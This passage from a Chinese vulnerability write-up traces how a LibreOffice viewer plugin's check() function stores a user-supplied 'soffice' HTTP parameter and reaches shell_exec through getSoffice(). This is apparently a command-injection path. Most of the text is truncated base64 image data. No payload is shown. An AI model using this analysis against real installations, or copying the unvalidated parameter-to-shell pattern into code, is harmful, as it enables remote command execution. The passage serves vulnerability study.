<p blockindex=23>下面查看哪里调用了getSoffice(),找到函数check();</p>
<p blockindex=24><img src="data:image/png;base64,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<pre blockindex=25><code class="hljs language-php"><span class=hljs-keyword>public</span> <span class=hljs-function><span class=hljs-keyword>function</span> <span class=hljs-title>check</span>(<span class=hljs-params></span>)</span>{
<span class=hljs-variable>$bin</span> = <span class=hljs-keyword>$this</span>-&gt;in[<span class=hljs-string>'soffice'</span>];
<span class=hljs-comment>//从 HTTP 请求中获取名为 `soffice` 的参数并将其值赋给变量 $bin</span>
<span class=hljs-variable>$plugin</span> = Action(<span class=hljs-keyword>$this</span>-&gt;pluginName);
<span class=hljs-keyword>if</span>(!<span class=hljs-keyword>empty</span>(<span class=hljs-variable>$bin</span>)) {
<span class=hljs-variable>$plugin</span>-&gt;setConfig(<span class=hljs-keyword>array</span>(<span class=hljs-string>'lbSoffice'</span> =&gt; <span class=hljs-variable>$bin</span>));
}
<span class=hljs-keyword>if</span>(<span class=hljs-keyword>isset</span>(<span class=hljs-variable>$_GET</span>[<span class=hljs-string>'check'</span>])){
<span class=hljs-keyword>if</span>(!function_exists(<span class=hljs-string>'shell_exec'</span>)) {
show_json(LNG(<span class=hljs-string>'officeViewer.libreOffice.execDisabled'</span>), <span class=hljs-literal>false</span>);
}
<span class=hljs-variable>$msg</span> = <span class=hljs-string>''</span>;
<span class=hljs-keyword>if</span>(!<span class=hljs-variable>$soffice</span> = <span class=hljs-keyword>$this</span>-&gt;getSoffice()) {
<span class=hljs-variable>$msg</span> = LNG(<span class=hljs-string>'officeViewer.libreOffice.checkError'</span>);
}
show_json(<span class=hljs-variable>$msg</span>, !!<span class=hljs-variable>$soffice</span>);
}
Action(<span class=hljs-keyword>$this</span>-&gt;pluginName)-&gt;includeTpl(<span class=hljs-string>'static/libreoffice/check.html'</span>);
}
</code></pre>
<p blockindex=26>可以看到通过此函数先从 HTTP 请求中获取名为 <code>soffice</code> 的参数,并将其值赋给变量 <code>$bin</code>,下来检查是否存在名为 "check" 的 GET 参数,如果存在才会进入条件语句的代码块,检查<code>shell_exec()</code> 函数是否可用,接下来调用<code>getSoffice()</code> 方法。</p>
<p blockindex=27><img src=data:image/png;base64,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<p blockindex=28>在<code>getSoffice()</code> 方法中<code>isset($data['soffice'])</code> 检查数组 <code>$data</code> 中是否存在键名为 <code>'soffice'</code> 的元素,如果存在返回true,并将$data['soffice']` 的值赋给$bin。</p>
<p blockindex=29><img src="data:image/png;base64,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